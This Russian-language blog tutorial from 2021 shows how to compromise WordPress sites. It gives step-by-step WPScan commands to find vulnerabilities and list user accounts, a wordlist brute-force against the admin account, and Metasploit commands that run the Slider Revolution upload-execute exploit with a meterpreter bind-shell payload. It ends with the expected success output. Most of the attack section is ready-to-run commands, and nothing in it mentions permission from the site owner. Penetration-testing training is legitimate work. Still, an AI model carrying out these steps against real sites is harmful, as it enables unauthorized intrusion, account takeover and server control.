June 1, 2021

Пентест сайтов на базе WordPress

В этой статьи мы рассмотрим, как злоумышленники используя WPScan и Metasploit легко взламывают сайты на базе WordPress.

Вы поймете, как хакеры сканируют WordPress-сайты на предмет потенциальных уязвимостей, получают контроль над системой жертвы и список пользователей, подбирают пароли к учетным записям и загружать скандально известный meterpreter-шелл в целевую систему, используя Metasploit Framework.

Запуск WPScan

Откройте терминал и введите команду wpscan или зайдите в раздел

Applications > Web Application Analysis > WPScan.
Раздел графического интерфейса, где находится WPScan

Обновление базы уязвимостей

Чтобы убедиться, что база уязвимостей самая последняя, введите следующую команду для обновления:

Обновление базы уязвимостей

Если у вас возникла проблема, показанная выше, введите следующую команду:

wpscan --update --verbose
Повторное обновление базы уязвимостей

Поиск уязвимостей

Чтобы просканировать сайт на предмет присутствия потенциальных уязвимостей, введите следующую команду:

wpscan —url targetwordpressurl.com
Результаты сканирования сайта

Как видно на рисунках выше, при помощи WPScan удалось выяснить некоторые детали целевого сайта, включая следующее:

  • XMLRPC.php (XML-RPC Interface) доступен для брутфорса и DDoS атак через пингбэки.
  • Основная версия WordPress: 2.0.1.
  • 15 уязвимостей:
wp-register.php: XSS уязвимости во множестве параметров.
admin.php: обход безопасности конфигуратора модулей.
XMLRPC Pingback API: внутреннее/внешнее сканирование портов.
XMLRPC Pingback: дополнительные проблемы.
wp-includes/comment.php: обход ограничений спама.
request_filesystem_credentials(): множественный межсайтовый скриптинг (XSS).
wp-admin/plugins.php: межсайтовый скриптинг (XSS).
wp-includes/capabilities.php: обход ограничений для удаленных администраторов через операцию удаления.
Обход ограничений для удаленных администраторов через операцию добавления.
DoS атака через отправку длинного пароля.
Подделка запроса на стороне сервера (SSRF).
Обход ограничений на отправку почты через поддельный сервер mail.example.com.
Возможность выполнения атак через RSS и Atom.
DoS-атака на уровне приложения (не исправлено).
Удаление произвольных файлов.

Идентификация темы и версии WordPress.

Красные восклицательные знаки обозначают, что уязвим определенный компонент сайта.

Примеры уязвимостей в отдельных компонентах

Кроме того, при помощи WPScan удалось выяснить следующее:

В контактной форме присутствуют уязвимости, связанные с обходом проверок на безопасность и загрузкой произвольных файлов (RCE) (Описания брешей опубликованы на WPVulnDB, SecurityFocus, CVE MITRE, PacketStormSecurity).

Присутствуют бреши в плагине LAyerSlider: Style Editing CSRF, Remote Path Traversal File Access, CSRF / Authenticated Stored XSS & SQL Injection (Описания брешей опубликованы на WPVulnDB, PacketStormSecurity, secunia, wphutte).

Важно отметить, что даже когда WPScan не может определить версию конкретного плагина, то выводит список всех потенциальных уязвимостей. Дальше вы уже вручную изучаете каждую ссылку и проверяете работоспособность эксплоита в случае с конкретным сайтом. Отсутствие версии плагина не означает, что на сайте нет брешей.

Ниже представлены ссылки на сайты, которые пригодятся при изучение потенциальных уязвимостей.

Интересный пример

Предположим, что при сканировании сайта мы получили следующие результаты:

Результаты сканирования сайта с уязвимым плагином Slider Revolution

Выяснилось, что на целевом сайте в плагине Slider Revolution есть две критические уязвимости:

  • Local File Inclusion (Включение локального файла).
  • Shell Upload (Загрузка шелла).

Мы можем легко реализовать эти виды атак.

Например, воспользоваться эксплоитом Upload Execute Exploitчерез Metasploit.

В Metasploit этот эксплоит уже готов к употреблению, но прежде, чем начать изучение этого фреймворка, рассмотрим, как получить список пользователей/учетных записей в WordPress.

Инструмент для получения списка зарегистрированных пользователей/учетных записей уже встроен в WPScan.

Этот список может пригодиться, когда злоумышленнику нужно получить доступ к целевой системе при помощи брутфорса учетной записи администратора.

Данная утилита будет сканировать целевой сайт и собирать список авторов и имен пользователей.

Чтобы получить список пользователей, введите следующую команду:

wpscan —url targetwordpressurl.com –enumerate u
Перечень пользователей сайта

По результатам работы утилиты было обнаружено следующее:

  • В базе есть две учетные записи, наиболее важная из которых - admin (имя стандартной административной учетной записи осталось неизменным).
  • Учетная запись admin до сих пор используется.
  • У второй учетной записи могут быть административные привилегии (можно попробовать выполнить брутфорс одновременно по двум аккаунтам).

Как подобрать пароль администратора при помощи брутфорса

Чтобы начать подбор пароля для пользователя admin введите следующую команду:

wpscan –url targetwordpressurl.com –wordlist /usr/share/wordlists/rockyou.txt (нужно поменять на путь к вашему словарю) –username admin (целевое имя пользователя) –threads 2 (поменяйте количество потоков на то, которое желаете использовать).

Команда в чистом виде без содержимого внутри скобок будет выглядеть так:

wpscan —url targetwordpressurl.com–wordlist /usr/share/wordlists/rockyou.txt –username admin –threads 2

По завершению процесса найденный пароль будет отображаться в терминале рядом с идентификатором логина.

Запуск Metasploit Framework с рабочего стола

Рабочий стол с ярлыком для Metasploit Framework

Хотя уязвимость в плагине RevSlider была исправлена, многие во многих системах на базе WordPress этот плагин до сих пор не обновился, что делает эти сайты легкой добычей для начинающих хакеров.

Введите в терминале следующие команды:

search revslider
use exploit/unix/webapp/wp_revslider_upload_execute
show options
Настройка эксплоита wp_revslider_upload_execute

Чтобы установить URL веб-сайта, используйте следующую команду:

set rhost 127.0.0.1/targetsiteurl.com (подставьте IP-адрес или URL вашего целевого сайта).

Осталось установить путь до папки, в которой установлен WordPress, при помощи следующей команды:

set targeturi /wordpress (замените /wordpress на ту директорию, где установлена эта cms).

Использование полезной нагрузки

Теперь нужно настроить полезную нагрузку. В нашем демонстрационном примере будет использоваться обычная полезная нагрузка на базе meterpreter для получения контроля над целевой системой.

В терминале введите следующие команды:

set payload php/meterpreter/bind_tcp
show options
Установка и настройка полезной нагрузки

Проверьте, чтобы в параметре rhost модуля и полезной нагрузки стоял IP-адрес/URL вашего целевого сайта.

Также можно проверить, уязвима ли целевая система, если ввести в терминале команду «check».

В ответ вы получите сообщение «The target appears to be vulnerable», которое означает, что целевой сайт уязвим.

Теперь, чтобы получить meterpreter-шелл в целевой системе, в терминале введите команду «exploit».

В случае успеха в терминале появятся следующие сообщения:

  • «127.0.0.1 (Целевой IP-адрес измене) – Our payload is at /wordpress/wp-content/plugins/revslider/temp/upload»
  • «127.0.0.1 (Целевой IP-адрес измене) – Calling payload…»
  • «Deleted oCDNSJ.php»
  • «Deleted ../revslider.zip»